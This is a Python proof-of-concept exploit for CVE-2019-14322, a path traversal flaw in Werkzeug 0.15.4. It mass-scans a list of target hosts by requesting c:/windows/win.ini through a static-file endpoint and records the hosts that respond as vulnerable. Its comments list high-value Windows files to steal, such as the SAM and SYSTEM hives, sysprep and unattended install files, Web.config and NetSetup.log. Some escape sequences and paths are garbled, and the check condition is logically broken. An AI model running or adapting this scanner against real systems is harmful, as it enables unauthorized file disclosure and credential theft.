Pallets Werkzeug 0.15.4 Path Traversal

#!/usr/bin/env python3
# PoC code by @faisalfs10x [https://github.com/faisalfs10x]

""" $ pip3 install colorama==0.3.3, argparse, requests, urllib3
    $ python3 CVE-2019-14322.py -l list_target.txt"
"""
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import requests
from colorama import Fore, Back, Style, init

# Colors
red = ' 33[91m'
green = ' 33[92m'
white = ' 33[97m'
yellow = ' 33[93m'
bold = ' 33[1m'
end = ' 33[0m'

init(autoreset=True)

def banner_motd():
    print(Fore.CYAN +Style.BRIGHT +"""                                                                

        CVE-2019-14322 %sPoC by faisalfs10x%s - (%s-%s)%s %s 
""" % (bold, red, white, yellow, white, end))

banner_motd()

# list of sensitive files to grab in windows

# %windir%repairsam
# %windir%System32configRegBackSAM
# %windir%repairsystem
# %windir%repairsoftware
# %windir%repairsecurity
# %windir%debugNetSetup.log (AD domain name, DC name, internal IP, DA account)
# %windir%iis6.log (5,6 or 7)
# %windir%system32logfileshttperrhttperr1.log
# C:sysprep.inf
# C:sysprepsysprep.inf
# C:sysprepsysprep.xml
# %windir%PantherUnattended.xml
# C:inetpubwwwrootWeb.config
# %windir%system32configAppEvent.Evt (Application log)
# %windir%system32configSecEvent.Evt (Security log)
# %windir%system32configdefault.sav
# %windir%system32configsecurity.sav
# %windir%system32configsoftware.sav
# %windir%system32configsystem.sav
# %windir%system32inetsrvconfigapplicationHost.config
# %windir%system32inetsrvconfigschemaASPNET_schema.xml
# %windir%System32driversetchosts (dns entries)
# %windir%System32driversetcnetworks (network settings)
# %windir%system32configSAM
# TLDR:
# C:/windows/system32/inetsrv/config/schema/ASPNET_schema.xml
# C:/windows/system32/inetsrv/config/applicationHost.config
# C:/windows/system32/logfiles/httperr/httperr1.log 
# C:/windows/debug/NetSetup.log - (may contain AD domain name, DC name, internal IP, DA account)
# C:/windows/system32/drivers/etc/hosts - (dns entries)
# C:/windows/system32/drivers/etc/networks - (network settings)

def check(url):

  # There are 3 endpoints to be tested by default, but to avoid noisy, just pick one :)
  # This script reads c:/windows/win.ini as a proof of concept.
  for endpoint in [
      'https://{}/base_import/static/c:/windows/win.ini', 
      #'https://{}/web/static/c:/windows/win.ini', 
      #'https://{}/base/static/c:/windows/win.ini'
      ]:
    try:

      url2 = endpoint.format(url)
      resp = requests.get(url2, verify=False, timeout=5)

      if 'fonts' and 'files' and 'extensions' in resp.text:
        print(Fore.LIGHTGREEN_EX +Style.BRIGHT +" [+] " +url2+ " : vulnerable====[+]")
        with open('CVE-2019-14322_result.txt', 'a+') as output:
          output.write('{}n'.format(url2))
          output.close()

      else:
        print(" [-] " +url+ " : not vulnerable")

    except KeyboardInterrupt:
      exit('User aborted!')
    except:
      print(" [-] " +url+ " : not vulnerable")


def main(args):

    f = open(listfile, "r")
    for w in f:
        url = w.strip()

        check(url)

if __name__ == '__main__':

    try:

        parser = argparse.ArgumentParser(description='CVE-2019-14322')
        parser.add_argument("-l","--targetlist",required=True, help = "target list in file")
        args = parser.parse_args()
        listfile = args.targetlist

        main(args)

    except KeyboardInterrupt:
        exit('User aborted!')